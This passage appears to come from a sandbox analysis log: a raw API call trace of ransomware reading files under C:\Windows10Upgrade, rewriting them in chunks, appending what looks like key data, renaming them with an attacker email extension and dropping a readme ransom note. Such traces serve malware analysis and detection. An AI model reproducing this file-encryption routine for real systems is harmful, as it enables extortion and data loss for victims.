Flags=0x8, Size=0x20) returned 0x347cb28 [0061.953] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ccb8 [0061.953] NtQuerySystemTime (in: CurrentTime=0x892f894 | out: CurrentTime=0x892f894*=132121176198520201) returned 0x0 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xc760af8b [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x7b0f8224 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x434aa433 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x6e7b396a [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xa93f6b65 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x38feaaaf [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x1ce50bf7 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xad269b6 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xc5c3bc96 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x7ee7b2fa [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xc53367bc [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xefc33d23 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xb88e3146 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x5cf3c44a [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x649ec4cb [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x928a3596 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xc7a815 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x966ebd9 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xbf6ea301 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x9a89edd0 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xff06ed32 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xbd8066ae [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x7db2aec6 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xddcf8a58 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xcc1fc1c5 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x7950b109 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xd5044b4b [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xf60b2e26 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xfb916386 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x320efa13 [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0x720c7b1b [0061.953] RtlRandom (in: Seed=0x892f8a0 | out: Seed=0x892f8a0) returned 0xe2dcabe8 [0061.962] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc40 [0061.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cce0 [0061.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc68) returned 1 [0061.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.964] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.964] ReadFile (in: hFile=0x5c8, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x892f854, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x892f854*=0x4096, lpOverlapped=0x0) returned 1 [0061.965] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.965] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.965] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0061.965] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347ca60 [0061.965] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ca60) returned 1 [0061.966] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.966] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb78 [0061.966] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c998 [0061.966] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c998) returned 1 [0061.966] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0061.966] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.966] WriteFile (in: hFile=0x5c8, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x892f854, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x892f854*=0x4096, lpOverlapped=0x0) returned 1 [0061.966] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.966] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x50bb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.966] ReadFile (in: hFile=0x5c8, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x892f854, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x892f854*=0x4096, lpOverlapped=0x0) returned 1 [0061.968] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x50bb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0061.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb50 [0061.968] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb50) returned 1 [0061.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c948 [0061.968] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd08 [0061.968] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd08) returned 1 [0061.968] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0061.968] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.969] WriteFile (in: hFile=0x5c8, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x892f854, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x892f854*=0x4096, lpOverlapped=0x0) returned 1 [0061.969] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.969] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x99232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.969] ReadFile (in: hFile=0x5c8, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x892f854, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x892f854*=0x4096, lpOverlapped=0x0) returned 1 [0061.969] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x99232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0061.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cab0 [0061.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cab0) returned 1 [0061.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cba0 [0061.970] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cda8 [0061.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cda8) returned 1 [0061.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0061.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.970] WriteFile (in: hFile=0x5c8, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x892f854, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x892f854*=0x4096, lpOverlapped=0x0) returned 1 [0061.970] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.970] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cb78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x892f8b0, lpOverlapped=0x0 | out: lpBuffer=0x347cb78*, lpNumberOfBytesWritten=0x892f8b0*=0x20, lpOverlapped=0x0) returned 1 [0061.971] WriteFile (in: hFile=0x5c8, lpBuffer=0x347c948*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x892f8b0, lpOverlapped=0x0 | out: lpBuffer=0x347c948*, lpNumberOfBytesWritten=0x892f8b0*=0x20, lpOverlapped=0x0) returned 1 [0061.971] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cba0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x892f8b0, lpOverlapped=0x0 | out: lpBuffer=0x347cba0*, lpNumberOfBytesWritten=0x892f8b0*=0x20, lpOverlapped=0x0) returned 1 [0061.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.971] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cce0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x892f8b8, lpOverlapped=0x0 | out: lpBuffer=0x347cce0*, lpNumberOfBytesWritten=0x892f8b8*=0x8, lpOverlapped=0x0) returned 1 [0061.971] WriteFile (in: hFile=0x5c8, lpBuffer=0x892f8d0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x892f8b8, lpOverlapped=0x0 | out: lpBuffer=0x892f8d0*, lpNumberOfBytesWritten=0x892f8b8*=0x4, lpOverlapped=0x0) returned 1 [0061.971] WriteFile (in: hFile=0x5c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x892f8b8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x892f8b8*=0x4, lpOverlapped=0x0) returned 1 [0061.971] WriteFile (in: hFile=0x5c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x892f8b8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x892f8b8*=0x6c, lpOverlapped=0x0) returned 1 [0061.971] WriteFile (in: hFile=0x5c8, lpBuffer=0x347cb28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x892f8b8, lpOverlapped=0x0 | out: lpBuffer=0x347cb28*, lpNumberOfBytesWritten=0x892f8b8*=0x20, lpOverlapped=0x0) returned 1 [0061.971] WriteFile (in: hFile=0x5c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x892f8b8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x892f8b8*=0x4, lpOverlapped=0x0) returned 1 [0061.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb28) returned 1 [0061.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc40) returned 1 [0061.971] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cce0) returned 1 [0061.971] CloseHandle (hObject=0x5c8) returned 1 [0061.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x33cc760 [0061.990] wcscpy (in: _Dest=0x33cc760, _Source="C:\\Windows10Upgrade\\DW20.EXE" | out: _Dest="C:\\Windows10Upgrade\\DW20.EXE") returned="C:\\Windows10Upgrade\\DW20.EXE" [0061.990] wcscat (in: _Dest=0x33cc760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\DW20.EXE.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\DW20.EXE.mailto[kokoklock@cock.li].d0e731" [0061.990] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\DW20.EXE" (normalized: "c:\\windows10upgrade\\dw20.exe"), lpNewFileName="C:\\Windows10Upgrade\\DW20.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\dw20.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.990] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DW20.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.990] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cc760) returned 1 [0061.990] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DW20.EXE", dwFileAttributes=0x20) returned 0 [0061.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x341d878 [0061.990] wcscpy (in: _Dest=0x341d878, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0061.991] wcscat (in: _Dest=0x341d878, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0061.991] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0x20 [0061.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341d878) returned 1 [0061.991] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0061.991] RtlExitUserThread (Status=0x1) Thread: id = 123 os_tid = 0x105c [0061.965] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DWTRIG20.EXE" (normalized: "c:\\windows10upgrade\\dwtrig20.exe")) returned 0x20 [0061.975] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DWTRIG20.EXE", dwFileAttributes=0x20) returned 1 [0061.975] CreateFileW (lpFileName="C:\\Windows10Upgrade\\DWTRIG20.EXE" (normalized: "c:\\windows10upgrade\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.975] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x89afe38 | out: lpFileSize=0x89afe38*=45768) returned 1 [0061.976] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0xb2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.976] ReadFile (in: hFile=0x5b4, lpBuffer=0x89afe0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x89afe08, lpOverlapped=0x0 | out: lpBuffer=0x89afe0c*, lpNumberOfBytesRead=0x89afe08*=0x4, lpOverlapped=0x0) returned 1 [0061.991] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347c9e8 [0061.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cab0 [0061.991] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cbc8 [0061.991] NtQuerySystemTime (in: CurrentTime=0x89afde4 | out: CurrentTime=0x89afde4*=132121176198831999) returned 0x0 [0061.991] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x889b9aae [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0xa6f446f9 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x6c706aa3 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x66f46c6a [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x25090a49 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0xe45d2879 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x2ee65d22 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0xde9ec667 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0xf2cee78f [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0xd18dc0a9 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x243711dd [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x2ef04da9 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0xa83f222b [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x8333e12b [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x126f0771 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0xf853628b [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0xbe5535c3 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x741f694b [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x17a9fcf7 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x4b0a301d [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x6ab118e4 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x13ffaa53 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x498aad2 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0xb493bf13 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x6f145d7f [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x58ca3400 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x84b330c7 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0xd38b059f [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x1c0d0805 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0xf4a6d972 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x339f9750 [0061.992] RtlRandom (in: Seed=0x89afdf0 | out: Seed=0x89afdf0) returned 0x5d395d3b [0062.001] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc68 [0062.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0062.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cce0 [0062.003] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0062.003] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c9e8) returned 1 [0062.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0062.003] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.003] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x89afdbc, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x89afdbc*=0x4096, lpOverlapped=0x0) returned 1 [0062.003] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0062.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0062.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cd08 [0062.004] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cd08) returned 1 [0062.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0062.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cc40 [0062.004] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cad8 [0062.004] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cad8) returned 1 [0062.004] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0062.004] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0062.004] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x89afdbc, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x89afdbc*=0x4096, lpOverlapped=0x0) returned 1 [0062.005] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0062.005] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0xb2c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.005] WriteFile (in: hFile=0x5b4, lpBuffer=0x347cc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x89afdf4, lpOverlapped=0x0 | out: lpBuffer=0x347cc40*, lpNumberOfBytesWritten=0x89afdf4*=0x20, lpOverlapped=0x0) returned 1 [0062.005] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc40) returned 1 [0062.005] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0062.005] WriteFile (in: hFile=0x5b4, lpBuffer=0x347cce0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x89afe08, lpOverlapped=0x0 | out: lpBuffer=0x347cce0*, lpNumberOfBytesWritten=0x89afe08*=0x8, lpOverlapped=0x0) returned 1 [0062.005] WriteFile (in: hFile=0x5b4, lpBuffer=0x89afe20*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x89afe08, lpOverlapped=0x0 | out: lpBuffer=0x89afe20*, lpNumberOfBytesWritten=0x89afe08*=0x4, lpOverlapped=0x0) returned 1 [0062.005] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x89afe08, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x89afe08*=0x4, lpOverlapped=0x0) returned 1 [0062.005] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x89afe08, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x89afe08*=0x6c, lpOverlapped=0x0) returned 1 [0062.005] WriteFile (in: hFile=0x5b4, lpBuffer=0x347cab0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x89afe08, lpOverlapped=0x0 | out: lpBuffer=0x347cab0*, lpNumberOfBytesWritten=0x89afe08*=0x20, lpOverlapped=0x0) returned 1 [0062.005] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x89afe08, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x89afe08*=0x4, lpOverlapped=0x0) returned 1 [0062.005] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cab0) returned 1 [0062.005] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cc68) returned 1 [0062.005] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cce0) returned 1 [0062.005] CloseHandle (hObject=0x5b4) returned 1 [0062.008] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2720 [0062.008] wcscpy (in: _Dest=0x33e2720, _Source="C:\\Windows10Upgrade\\DWTRIG20.EXE" | out: _Dest="C:\\Windows10Upgrade\\DWTRIG20.EXE") returned="C:\\Windows10Upgrade\\DWTRIG20.EXE" [0062.008] wcscat (in: _Dest=0x33e2720, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731" [0062.008] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\DWTRIG20.EXE" (normalized: "c:\\windows10upgrade\\dwtrig20.exe"), lpNewFileName="C:\\Windows10Upgrade\\DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\dwtrig20.exe.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.008] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DWTRIG20.EXE.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.008] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2720) returned 1 [0062.008] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\DWTRIG20.EXE", dwFileAttributes=0x20) returned 0 [0062.009] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x341d878 [0062.009] wcscpy (in: _Dest=0x341d878, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\" [0062.009] wcscat (in: _Dest=0x341d878, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\D0E731-Readme.txt" [0062.009] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\d0e731-readme.txt")) returned 0x20 [0062.009] RtlFreeHeap 